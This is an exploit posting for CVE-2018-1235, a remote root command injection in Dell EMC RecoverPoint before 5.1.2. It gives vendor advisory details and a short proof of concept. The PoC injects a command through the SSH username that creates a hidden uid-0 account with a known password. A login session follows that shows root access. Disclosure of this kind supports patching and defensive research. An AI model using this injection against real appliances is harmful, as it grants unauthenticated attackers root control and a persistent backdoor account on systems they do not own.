Dell EMC RecoverPoint Remote Root

Dell EMC RecoverPoint versions prior to 5.1.2 suffer from a remote root command execution vulnerability.


MD5 | 6c11f1bc9ab032ba45ef40d9bb694a6f

# Exploit Title: Dell EMC RecoverPoint < 5.1.2 - Remote Root Command Execution
# Date: 2018-06-21
# Version: All versions before RP 5.1.2, and all versions before RP4VMs 5.1.1.3
# Exploit Author: Paul Taylor
# Vendor Advisory: DSA-2018-095
# Vendor KB: https://support.emc.com/kb/521234
# Github: https://github.com/bao7uo/dell-emc_recoverpoint
# Website: https://www.foregenix.com/blog/foregenix-identify-multiple-dellemc-recoverpoint-zero-day-vulnerabilities
# Tested on: RP4VMs 5.1.1.2, RP 5.1.SP1.P2
# CVE: CVE-2018-1235

# 1. Description
# An OS command injection vulnerability exists in the mechanism which processes usernames
# which are presented for authentication, allowing unauthenticated root access via
# the ssh service.

# 2. Proof of Concept
# Inject into ssh username.
# N.B. combined length of new username+password is limited to 21 due to injection length limitations

$ ssh '$(useradd -ou0 -g0 bao7uo -p`openssl passwd -1 Secret123`)'@192.168.57.3
Password: ^C
$ ssh [email protected]
Password: Secret123
Could not chdir to home directory /home/bao7uo: No such file or directory
[email protected]:/# id
uid=0(root) gid=0(root) groups=0(root)
[email protected]:/#



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